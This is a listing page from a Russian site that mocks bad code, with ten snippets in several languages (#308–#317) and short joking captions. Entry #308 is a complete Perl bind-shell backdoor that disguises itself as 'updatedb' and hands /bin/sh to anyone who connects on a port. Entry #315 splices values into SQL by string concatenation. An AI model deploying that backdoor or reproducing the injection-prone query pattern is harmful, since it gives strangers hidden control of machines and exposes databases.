1. Си / Говнокод #317

    +10.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    // собственно заполнение
    for (i = pdir ? old_end_y : old_end_x; i != pdir ? (sel_end_y + gstep) : (sel_end_x + gstep); i++)
    {
      if (cells[pdir ? sel_x : i][pdir ? i : sel_y])
        freemem(cells[pdir ? sel_x : i][pdir ? i : sel_y]);
      if (is_arith)
      {
        cells[pdir ? sel_x : i][pdir ? i : sel_y] = ftoa(arith_first);
        arith_first += arith_step;
      }
      else
      {
      if (cells[sel_x][sel_y])
      {
        cells[pdir ? sel_x : i][pdir ? i : sel_y] = (char*)allocmem(strlen(cells[sel_x][sel_y]) + 1);
        strcpy(cells[pdir ? sel_x : i][pdir ? i : sel_y], cells[sel_x][sel_y]);
      }
    }

    Индус помешался на тернарной операции.

    guest, 31 Декабря 2008

    Комментарии (4)
  2. Си / Говнокод #316

    +17.4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    for (i = 0; i<sizeof(n)*4; i++) 
    { 
    	if ((((n>>(2*i))&1==1)&&((n>>(2*i+1))&1==0)))
    	{
    		n|=(1<<(2*i));
    		n&=~(1<<(2*i+1));
    	}
    else if ((((n>>(2*i))&1==0)&&((n>>(2*i+1))&1==1)))
    	{
    		n|=(1<<(2*i+1));
    		n&=~(1<<(2*i));
    	}

    Нечто вроде циклического сдвига вправо на Си.

    guest, 31 Декабря 2008

    Комментарии (1)
  3. SQL / Говнокод #315

    −282.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    query = "select coach_id, "
      " concat(coach_surname,' ',coach_name,' ',coach_pname, ' (', (select name from price_coach_types where id_coach_type = coaches.coach_type), ')'), "
      "ifnull((select price_single_child from price_coaches where coach_id = coaches.coach_id and price_start_date = " + actual_price+ "),0),"
      "ifnull((select price_single_adult from price_coaches where coach_id = coaches.coach_id and price_start_date = " + actual_price+ "),0),"
      "ifnull((select price_group_child from price_coaches where coach_id = coaches.coach_id and price_start_date = " + actual_price+ "),0),"
      "ifnull((select price_group_adult from price_coaches where coach_id = coaches.coach_id and price_start_date = " + actual_price+ "),0)"
      " from coaches order by binary coach_surname, coach_type";

    Автор любитель копипастить свой код :)

    guest, 31 Декабря 2008

    Комментарии (0)
  4. C++ / Говнокод #314

    +29

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    double StrToMoney(AnsiString str)
    {
      str = AnsiReplaceStr(str, "-", ".");
      char *buffer = str.c_str();
      double val;
      sscanf(buffer,"%lf",&val);
      return val;
    }

    Быдлокодер на борланд С++ хотел сконвертить в число деньги в формате рубли-копейки. И сделал это наименее эффективным образом.

    guest, 31 Декабря 2008

    Комментарии (0)
  5. Python / Говнокод #313

    −430.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    #начало индусокода
    def desyatka(number):
        return int(number/10.0)
        
    def edenica(number):
        return number-desyatka(number)*10
    
    hours_string=[]
    for a in range(0,30):
        zzz=""
        if edenica(a)<5:
            zzz = " часа "
        if edenica(a)==1:
            zzz = " час "
        if desyatka(a)==1:
            zzz = " часов "
        if edenica(a)==0:
            zzz = " часов "
        if zzz=="":
            zzz=" часов "
        hours_string.append(zzz)
    
    minutes_string=[]
    for a in range(0,60):
        zzz=""
        if edenica(a)<5:
            zzz = " минуты "
        if edenica(a)==1:
            zzz = " минута "
        if desyatka(a)==1:
            zzz = " минут "
        if edenica(a)==0:
            zzz = " минут "
        if zzz=="":
            zzz=" минут "
        minutes_string.append(zzz)
        
    seconds_string=[]
    for a in range(0,60):
        zzz=""
        if edenica(a)<5:
            zzz = " секунды "
        if edenica(a)==1:
            zzz = " секунда "
        if desyatka(a)==1:
            zzz = " секунд "
        if edenica(a)==0:
            zzz = " секунд "
        if zzz=="":
            zzz=" секунд "
        seconds_string.append(zzz)
    #конец индусокода

    Ф-ии, склоняющие по падежам и временам слова "часов", "минут", секунд

    guest, 31 Декабря 2008

    Комментарии (0)
  6. Си / Говнокод #312

    +18.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    if( strncmp("ERROR: Unable to service request",msg.data, strlen("Unable to service request")) == 0 )
        return 1;
     if( strncmp("ERROR: (201) Unable to service request",msg.data, strlen("(201) Unable to service request")) == 0 )
        return 1;
     if( strncmp("ОШИБКА: (201) Невозможно обработать запрос.",msg.data, strlen("(201) Невозможно обработать запрос.")) == 0 )
        return 1;
     if( strncmp("ERROR: (201) Невозможно обработать запрос",msg.data, strlen("(201) Невозможно обработать запрос.")) == 0 )
       return 1;

    guest, 30 Декабря 2008

    Комментарии (2)
  7. C# / Говнокод #311

    +1.1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    while (true) {
        try {
            break;
        }
        catch {
    
        }
    }

    интересно сработает?

    guest, 30 Декабря 2008

    Комментарии (4)
  8. C# / Говнокод #310

    +849.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    switch (driver.Status)
          {
            case ClientStatus.Unknown:
              return m_driverStatusNames[ClientStatus.Unknown];
            case ClientStatus.Free:
              return m_driverStatusNames[ClientStatus.Free];
            case ClientStatus.Busy:
              return m_driverStatusNames[ClientStatus.Busy];
            case ClientStatus.InWay:
              return m_driverStatusNames[ClientStatus.InWay];
            case ClientStatus.Work:
              return m_driverStatusNames[ClientStatus.Work];
            case ClientStatus.Break:
              return m_driverStatusNames[ClientStatus.Break];
            case ClientStatus.Alarm:
              return m_driverStatusNames[ClientStatus.Alarm];
          }

    :)

    guest, 30 Декабря 2008

    Комментарии (23)
  9. PHP / Говнокод #309

    +22.5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    <?
    echo "<title>NNtime Proxy List</title>";
    function proxylist($site){
    $source=file_get_contents($site);
    preg_match_all("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}:[0-9]{2,4}/",$source,$matched);
    return $matched[0];
    }
    
    $array=proxylist("http://www.nntime.com");
    foreach($array as $tek){
    $tek=str_replace("
    ","",$tek);
    print $tek."<br>";
    }
    ?>

    guest, 30 Декабря 2008

    Комментарии (0)
  10. Perl / Говнокод #308

    −327.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    #!/usr/bin/perl
    
    $port = 32767;
    $port = $ARGV[0] if $ARGV[0];
    exit if fork;
    $0 = "updatedb" . " " x100;
    $SIG{CHLD} = 'IGNORE';
    use Socket;
    socket(S, PF_INET, SOCK_STREAM, 0);
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    bind(S, sockaddr_in($port, INADDR_ANY));
    listen(S, 50);
    while(1)
    {
        accept(X, S);
        unless(fork)
        {
            open STDIN, "<&X";
            open STDOUT, ">&X";
            open STDERR, ">&X";
            close X;
            exec("/bin/sh");
        }
        close X;
    }

    guest, 30 Декабря 2008

    Комментарии (8)